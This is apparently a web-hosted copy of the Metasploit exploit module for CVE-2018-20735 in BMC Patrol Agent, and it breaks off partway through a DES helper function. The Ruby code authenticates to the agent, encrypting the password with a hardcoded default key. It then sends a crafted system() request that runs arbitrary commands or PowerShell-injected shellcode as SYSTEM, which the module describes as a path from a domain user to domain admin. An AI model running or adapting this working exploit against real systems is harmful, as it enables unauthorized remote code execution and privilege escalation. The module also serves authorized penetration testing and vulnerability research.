Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb
30176 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'zlib'
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ExcellentRanking
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Powershell
11
12
@deflater = nil
13
@inflater = nil
14
15
SBOXES = [
16
0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,
17
0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,
18
0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,
19
0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,
20
0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,
21
0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,
22
0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,
23
0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,
24
0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,
25
0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,
26
0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,
27
0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,
28
0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,
29
0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,
30
0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,
31
0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,
32
0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,
33
0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,
34
0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,
35
0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,
36
0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,
37
0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,
38
0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,
39
0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,
40
0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,
41
0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
42
0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,
43
0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,
44
0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,
45
0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,
46
0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,
47
0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,
48
0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,
49
0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,
50
0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,
51
0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,
52
0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,
53
0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,
54
0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,
55
0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,
56
0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,
57
0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,
58
0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,
59
0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,
60
0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,
61
0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,
62
0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,
63
0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,
64
0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,
65
0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,
66
0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,
67
0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,
68
0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,
69
0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,
70
0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,
71
0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,
72
0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,
73
0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,
74
0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,
75
0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
76
0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
77
0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
78
0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
79
0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,
80
0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,
81
0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,
82
0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,
83
0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,
84
0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,
85
0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,
86
0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,
87
0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,
88
0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,
89
0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,
90
0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,
91
0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,
92
0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,
93
0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,
94
0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,
95
0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,
96
0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,
97
0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,
98
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,
99
0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,
100
0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,
101
0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,
102
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,
103
0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
104
0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,
105
0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,
106
0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,
107
0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,
108
0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,
109
0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
110
0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
111
0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,
112
0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,
113
0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,
114
0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,
115
0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,
116
0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220
117
].freeze
118
119
PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\
120
"\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\
121
"\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\
122
"\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze
123
124
PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\
125
"\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\
126
"\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\
127
"\x23\x1C\x1F".freeze
128
129
SBOX_BYTE_ORDER = [
130
1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,
131
0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,
132
0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,
133
0x40000000, 0x80000000
134
].freeze
135
136
ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze
137
INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze
138
INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze
139
140
DES_ENCRYPT = 0
141
142
def initialize(info = {})
143
super(
144
update_info(
145
info,
146
'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',
147
'Description' => %q{
148
This module leverages the remote command execution feature provided by
149
the BMC Patrol Agent software. It can also be used to escalate privileges
150
on Windows hosts as the software runs as SYSTEM but only verfies that the password
151
of the provided user is correct. This also means if the software is running on a
152
domain controller, it can be used to escalate from a normal domain user to domain
153
admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
154
powershell to execute the payload. The powershell version tends to timeout on
155
the first run so it may take multiple tries.
156
},
157
'License' => MSF_LICENSE,
158
'Author' => [
159
'b0yd' # @rwincey / Vulnerability Discovery and MSF module author
160
],
161
'References' => [
162
['CVE', '2018-20735'],
163
['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']
164
],
165
'Targets' => [
166
[
167
'Windows Powershell Injected Shellcode', {
168
'Platform' => 'win'
169
}
170
],
171
[
172
'Generic Command Callback', {
173
'Arch' => ARCH_CMD,
174
'Platform' => %w[linux unix win]
175
}
176
]
177
],
178
'Privileged' => true,
179
'DefaultTarget' => 0,
180
'DefaultOptions' => {
181
'DisablePayloadHandler' => true
182
},
183
'DisclosureDate' => '2019-01-17',
184
'Notes' => {
185
'Reliability' => UNKNOWN_RELIABILITY,
186
'Stability' => UNKNOWN_STABILITY,
187
'SideEffects' => UNKNOWN_SIDE_EFFECTS
188
}
189
)
190
)
191
192
register_options(
193
[
194
Opt::RPORT(3181),
195
OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),
196
OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),
197
OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])
198
]
199
)
200
end
201
202
def cleanup
203
disconnect
204
print_status('Disconnected from BMC Patrol Agent.')
205
@inflater.close
206
@deflater.close
207
super
208
end
209
210
def get_target_os(srv_info_msg)
211
lines = srv_info_msg.split("\n")
212
fail_with(Failure::UnexpectedReply, 'Invalid server info msg.') if lines[0] != 'MS' && lines[1] != '{' && lines[-1] != '}'
213
214
os = nil
215
ver = nil
216
lines[2..-2].each do |i|
217
val = i.split('=')
218
if val.length == 2
219
if val[0].strip! == 'T'
220
os = val[1]
221
elsif val[0].strip! == 'VER'
222
ver = val[1]
223
end
224
end
225
end
226
[os, ver]
227
end
228
229
def get_cmd_output(cmd_output_msg)
230
lines = cmd_output_msg.split("\n")
231
fail_with(Failure::UnexpectedReply, 'Invalid command output msg.') if lines[0] != 'PEM_MSG' && lines[1] != '{' && lines[-1] != '}'
232
233
# Parse out command results
234
idx_start = cmd_output_msg.index("Result\x00")
235
idx_end = cmd_output_msg.index('RemPsl_user')
236
output = cmd_output_msg[idx_start + 7..idx_end - 1]
237
238
output
239
end
240
241
def exploit
242
# Manually start the handler if not running a single command
243
if datastore['CMD'].nil? || datastore['CMD'].empty?
244
245
# Set to nil if the cmd is empty for checks further down
246
datastore['CMD'] = nil
247
datastore['DisablePayloadHandler'] = false
248
249
# Configure the payload handler
250
payload_instance.exploit_config = {
251
'active_timeout' => 300
252
}
253
# Setup the payload handler
254
payload_instance.setup_handler
255
256
# Start the payload handler
257
payload_instance.start_handler
258
259
end
260
261
# Initialize zlib objects
262
@deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)
263
@inflater = Zlib::Inflate.new
264
265
# Connect to the BMC Patrol Agent
266
connect
267
print_status('Connected to BMC Patrol Agent.')
268
269
# Create session msg
270
create_session
271
ret_data = receive_msg
272
fail_with(Failure::UnexpectedReply, 'Failed to receive session confirmation. Aborting.') if ret_data.nil?
273
274
# Authenticate
275
authenticate_user(datastore['USER'], datastore['PASSWORD'])
276
277
# Receive the authentication response
278
ret_data = receive_msg
279
fail_with(Failure::UnexpectedReply, 'Failed to receive authentication response. Aborting.') if ret_data.nil?
280
281
ret_msg = process_response(ret_data)
282
if ret_msg =~ /logged in/
283
print_status('Successfully authenticated user.')
284
else
285
fail_with(Failure::UnexpectedReply, 'Login failed. Aborting.')
286
end
287
288
# Receive the server info
289
ret_data = receive_msg
290
fail_with(Failure::UnexpectedReply, 'Failed to receive server info msg. Aborting.') if ret_data.nil?
291
srv_info = process_response(ret_data)
292
293
# Get the target's OS from their info msg
294
target_os = get_target_os(srv_info)
295
296
# When using autotargeting, MSF selects the Windows meterpreter as the default payload.
297
# Fail if this is the case and ask the user to select an appropriate payload.
298
if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?
299
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
300
end
301
302
target_name = target.name
303
if !datastore['CMD'].nil?
304
command = datastore['CMD'].tr('"', '\"')
305
print_status("Command to execute: #{command}")
306
elsif target_name == 'Windows Powershell Injected Shellcode'
307
# Get encoded powershell of payload
308
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
309
else
310
command = payload.raw.tr('"', '\"')
311
end
312
313
# Run command
314
run_cmd(command)
315
316
# Receive command confirmation
317
ret_data = receive_msg
318
if !ret_data.nil?
319
process_response(ret_data)
320
end
321
322
# Receive command output
323
ret_data = receive_msg
324
if !ret_data.nil? && !datastore['CMD'].nil?
325
cmd_result_data = process_response(ret_data)
326
cmd_result = get_cmd_output(cmd_result_data)
327
print_status("Output:\n#{cmd_result}")
328
end
329
330
# Handle the shell
331
handler
332
end
333
334
def receive_msg
335
header = sock.get_once(6)
336
if header.nil?
337
return
338
end
339
340
payload_size_arr = header[0, 4]
341
payload_size = payload_size_arr.unpack1('N')
342
payload = ''
343
if payload_size > 0
344
payload = sock.get_once(payload_size)
345
if payload.nil?
346
return
347
end
348
end
349
350
return header + payload
351
end
352
353
def send_msg(type, compression, data)
354
data_len = data.length
355
buf = [data_len].pack('N')
356
357
# Set the type
358
buf += [type].pack('C')
359
360
# Set compression flag
361
buf += [compression].pack('C')
362
363
# Add data
364
buf += data
365
366
# Send msg
367
sock.put(buf)
368
end
369
370
def process_response(ret_data)
371
# While style checks complain, I intend to leave this parsing
372
# in place for debugging purposes
373
ret_size_arr = ret_data[0, 4]
374
ret_size = ret_size_arr.unpack1('N') # rubocop:disable Lint/UselessAssignment
375
376
msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment
377
comp_flag = ret_data[5, 1]
378
379
payload_data = ret_data[6..-1]
380
if comp_flag == "\x00"
381
bin_data = payload_data.unpack1('H*') # rubocop:disable Lint/UselessAssignment
382
payload_data = @inflater.inflate(payload_data)
383
end
384
385
return payload_data
386
end
387
388
def run_cmd(cmd)
389
user_num = rand 1000..9999
390
msg_1 = %(R_E
391
{
392
\tRE_ID=1
393
\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}
394
\tRE_ORG=PemApi
395
\tRE_SEV=1
396
\tRE_NSEV=5
397
\tRE_ST=
398
}
399
)
400
401
msg_1 += "\x00"
402
# Compress the message
403
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
404
send_msg(0x44, 0x0, comp_data)
405
end
406
407
def identify(user)
408
inner_len = 15
409
msg_type = 8
410
len_str = [inner_len].pack('N')
411
msg_str = [msg_type].pack('N')
412
msg_1 = %(PEM_MSG
413
{
414
\tNSDL=#{inner_len}
415
\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00
416
}
417
)
418
msg_1 += "\x00"
419
print_status("Msg: #{msg_1}")
420
bin_data = msg_1.unpack1('H*') # rubocop:disable Lint/UselessAssignment
421
# Compress the message
422
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
423
send_msg(0x44, 0x0, comp_data)
424
end
425
426
def create_session
427
sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"
428
sess_msg += "\x00" * 0x68
429
send_msg(0x45, 0x2, sess_msg)
430
end
431
432
def authenticate_user(user, password)
433
# Default encryption key
434
enc_key = 'k$C4}@"_'
435
output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)
436
# Convert to hex string
437
encrpted_pw = output_data.unpack1('H*')
438
des_pw = encrpted_pw.upcase
439
440
msg_1 = %(ID
441
{
442
\tHOST=user
443
\tUSER=#{user}
444
\tPASS=#{des_pw}
445
\tVER=V9.6.00
446
\tT=PEMAPI
447
\tHTBT=1
448
\tTMOT=1728000
449
\tRTRS=3
450
}
451
)
452
453
msg_1 += "\x00"
454
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
455
send_msg(0x44, 0x0, comp_data)
456
end
457
458
def rotate_block_init(input_block_tuple)
459
v6 = 0
460
v5 = 0
461
input_block_tuple = input_block_tuple.pack('V*').unpack('i*')
462
v3 = input_block_tuple[0]
463
v4 = input_block_tuple[1]
464
465
if (v4 & 0x2000000) != 0
466
v5 = 1
467
end
468
if (v4 & 0x20000) != 0
469
v5 |= 2
470
end
471
if (v4 & 0x200) != 0
472
v5 |= 4
473
end
474
if (v4 & 2) != 0
475
v5 |= 8
476
end
477
if (v3 & 0x2000000) != 0
478
v5 |= 0x10
479
end
480
if (v3 & 0x20000) != 0
481
v5 |= 0x20
482
end
483
if (v3 & 0x200) != 0
484
v5 |= 0x40
485
end
486
if (v3 & 2) != 0
487
v5 |= 0x80
488
end
489
if (v4 & 0x8000000) != 0
490
v5 |= 0x100
491
end
492
if (v4 & 0x80000) != 0
493
v5 |= 0x200
494
end
495
if (v4 & 0x800) != 0
496
v5 |= 0x400
497
end
498
if (v4 & 8) != 0
499
v5 |= 0x800
500
end
501
if (v3 & 0x8000000) != 0
502
v5 |= 0x1000
503
end
504
if (v3 & 0x80000) != 0
505
v5 |= 0x2000
506
end
507
if (v3 & 0x800) != 0
508
v5 |= 0x4000
509
end
510
if (v3 & 8) != 0
511
v5 |= 0x8000
512
end
513
if (v4 & 0x20000000) != 0
514
v5 |= 0x10000
515
end
516
if (v4 & 0x200000) != 0
517
v5 |= 0x20000
518
end
519
if (v4 & 0x2000) != 0
520
v5 |= 0x40000
521
end
522
if (v4 & 0x20) != 0
523
v5 |= 0x80000
524
end
525
if (v3 & 0x20000000) != 0
526
v5 |= 0x100000
527
end
528
if (v3 & 0x200000) != 0
529
v5 |= 0x200000
530
end
531
if (v3 & 0x2000) != 0
532
v5 |= 0x400000
533
end
534
if (v3 & 0x20) != 0
535
v5 |= 0x800000
536
end
537
if (v4 < 0)
538
v5 |= 0x1000000
539
end
540
if (v4 & 0x800000) != 0
541
v5 |= 0x2000000
542
end
543
if (v4 & 0x8000) != 0
544
v5 |= 0x4000000
545
end
546
if (v4 & 0x80) != 0
547
v5 |= 0x8000000
548
end
549
if (v3 < 0)
550
v5 |= 0x10000000
551
end
552
if (v3 & 0x800000) != 0
553
v5 |= 0x20000000
554
end
555
if (v3 & 0x8000) != 0
556
v5 |= 0x40000000
557
end
558
if (v3 & 0x80) != 0
559
v5 |= 0x80000000
560
end
561
if (v4 & 0x1000000) != 0
562
v6 = 1
563
end
564
if (v4 & 0x10000) != 0
565
v6 |= 2
566
end
567
if (v4 & 0x100) != 0
568
v6 |= 4
569
end
570
if (v4 & 1) != 0
571
v6 |= 8
572
end
573
if (v3 & 0x1000000) != 0
574
v6 |= 0x10
575
end
576
if (v3 & 0x10000) != 0
577
v6 |= 0x20
578
end
579
if (v3 & 0x100) != 0
580
v6 |= 0x40
581
end
582
if (v3 & 1) != 0
583
v6 |= 0x80
584
end
585
if (v4 & 0x4000000) != 0
586
v6 |= 0x100
587
end
588
if (v4 & 0x40000) != 0
589
v6 |= 0x200
590
end
591
if (v4 & 0x400) != 0
592
v6 |= 0x400
593
end
594
if (v4 & 4) != 0
595
v6 |= 0x800
596
end
597
if (v3 & 0x4000000) != 0
598
v6 |= 0x1000
599
end
600
if (v3 & 0x40000) != 0
601
v6 |= 0x2000
602
end
603
if (v3 & 0x400) != 0
604
v6 |= 0x4000
605
end
606
if (v3 & 4) != 0
607
v6 |= 0x8000
608
end
609
if (v4 & 0x10000000) != 0
610
v6 |= 0x10000
611
end
612
if (v4 & 0x100000) != 0
613
v6 |= 0x20000
614
end
615
if (v4 & 0x1000) != 0
616
v6 |= 0x40000
617
end
618
if (v4 & 0x10) != 0
619
v6 |= 0x80000
620
end
621
if (v3 & 0x10000000) != 0
622
v6 |= 0x100000
623
end
624
if (v3 & 0x100000) != 0
625
v6 |= 0x200000
626
end
627
if (v3 & 0x1000) != 0
628
v6 |= 0x400000
629
end
630
if (v3 & 0x10) != 0
631
v6 |= 0x800000
632
end
633
if (v4 & 0x40000000) != 0
634
v6 |= 0x1000000
635
end
636
if (v4 & 0x400000) != 0
637
v6 |= 0x2000000
638
end
639
if (v4 & 0x4000) != 0
640
v6 |= 0x4000000
641
end
642
if (v4 & 0x40) != 0
643
v6 |= 0x8000000
644
end
645
if (v3 & 0x40000000) != 0
646
v6 |= 0x10000000
647
end
648
if (v3 & 0x400000) != 0
649
v6 |= 0x20000000
650
end
651
if (v3 & 0x4000) != 0
652
v6 |= 0x40000000
653
end
654
if (v3 & 0x40) != 0
655
v6 |= 0x80000000
656
end
657
658
# Create return tuple
659
ret_block = Array.new
660
ret_block.push v5
661
ret_block.push v6
662
ret_block
663
end
664
665
def rotate_block_final(input_block_tuple)
666
v6 = 0
667
v5 = 0
668
input_block_tuple = input_block_tuple.pack('V*').unpack('i*')
669
v3 = input_block_tuple[0]
670
v4 = input_block_tuple[1]
671
672
if (v4 & 0x80) != 0
673
v5 = 1
674
end
675
if (v3 & 0x80) != 0
676
v5 |= 2
677
end
678
if (v4 & 0x8000) != 0
679
v5 |= 4
680
end
681
if (v3 & 0x8000) != 0
682
v5 |= 8
683
end
684
if (v4 & 0x800000) != 0
685
v5 |= 0x10
686
end
687
if (v3 & 0x800000) != 0
688
v5 |= 0x20
689
end
690
if (v4 < 0)
691
v5 |= 0x40
692
end
693
if (v3 < 0)
694
v5 |= 0x80
695
end
696
if (v4 & 0x40) != 0
697
v5 |= 0x100
698
end
699
if (v3 & 0x40) != 0
700
v5 |= 0x200
701
end
702
if (v4 & 0x4000) != 0
703
v5 |= 0x400
704
end
705
if (v3 & 0x4000) != 0
706
v5 |= 0x800
707
end
708
if (v4 & 0x400000) != 0
709
v5 |= 0x1000
710
end
711
if (v3 & 0x400000) != 0
712
v5 |= 0x2000
713
end
714
if (v4 & 0x40000000) != 0
715
v5 |= 0x4000
716
end
717
if (v3 & 0x40000000) != 0
718
v5 |= 0x8000
719
end
720
if (v4 & 0x20) != 0
721
v5 |= 0x10000
722
end
723
if (v3 & 0x20) != 0
724
v5 |= 0x20000
725
end
726
if (v4 & 0x2000) != 0
727
v5 |= 0x40000
728
end
729
if (v3 & 0x2000) != 0
730
v5 |= 0x80000
731
end
732
if (v4 & 0x200000) != 0
733
v5 |= 0x100000
734
end
735
if (v3 & 0x200000) != 0
